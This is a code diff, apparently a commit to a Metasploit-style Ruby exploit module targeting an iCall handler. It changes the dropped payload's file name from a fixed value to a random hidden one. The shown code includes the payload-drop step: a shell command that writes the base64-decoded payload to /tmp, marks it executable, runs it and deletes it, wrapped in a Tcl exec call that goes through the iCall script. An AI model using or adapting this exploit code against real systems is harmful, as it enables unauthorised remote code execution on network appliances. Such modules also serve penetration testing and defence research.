@@ -55,11 +55,17 @@ def initialize(info = {})
55
55
[
56
56
OptInt . new ( 'INTERVAL' , [ true , 'Time interval before the iCall::Handler is called, in seconds' , 3 ] ) ,
57
57
OptString . new ( 'PATH' , [ true , 'Filesystem path for the dropped payload' , '/tmp' ] ) ,
58
- OptString . new ( 'FILENAME' , [ false , 'File name of the dropped payload' , '.9cdfb439c7876e70 '] ) ,
58
+ OptString . new ( 'FILENAME' , [ false , 'File name of the dropped payload, defaults to random ' ] ) ,
59
59
OptInt . new ( 'ARG_MAX' , [ true , 'Command line length limit' , 131072 ] )
60
60
] )
61
61
end
62
62
63
+ def setup
64
+ file = datastore [ 'FILENAME' ]
65
+ file ||= ".#{ Rex ::Text . rand_text_alphanumeric ( 16 ) } "
66
+ @payload_path = ::File . join ( datastore [ 'PATH' ] , file )
67
+ end
68
+
63
69
def build_xml
64
70
builder = Nokogiri ::XML ::Builder . new do |xml |
65
71
xml . Envelope do
@@ -226,13 +232,10 @@ def check
226
232
227
233
def exploit
228
234
# phase 1: create iCall script to create file with payload, execute it and remove it.
229
- filepath = datastore [ 'PATH' ]
230
- filename = datastore [ 'FILENAME' ]
231
- dest_file = filepath + '/' + filename
232
- register_file_for_cleanup dest_file
235
+ register_file_for_cleanup @payload_path
233
236
234
- shell_cmd = %(echo #{ Rex ::Text . encode_base64 ( payload . encoded ) } |base64 --decode >#{ dest_file } ; chmod +x #{ dest_file } ;#{ dest_file } ;rm -f #{ dest_file } )
235
- cmd = %(if { ! [file exists #{ dest_file } ]} { exec /bin/sh -c "#{ shell_cmd } "})
237
+ shell_cmd = %(echo #{ Rex ::Text . encode_base64 ( payload . encoded ) } |base64 --decode >#{ @payload_path } ; chmod +x #{ @payload_path } ;#{ @payload_path } ;rm -f #{ @payload_path } )
238
+ cmd = %(if { ! [file exists #{ @payload_path } ]} { exec /bin/sh -c "#{ shell_cmd } "})
236
239
237
240
arg_max = datastore [ 'ARG_MAX' ]
238
241
if shell_cmd . size > arg_max
0 commit comments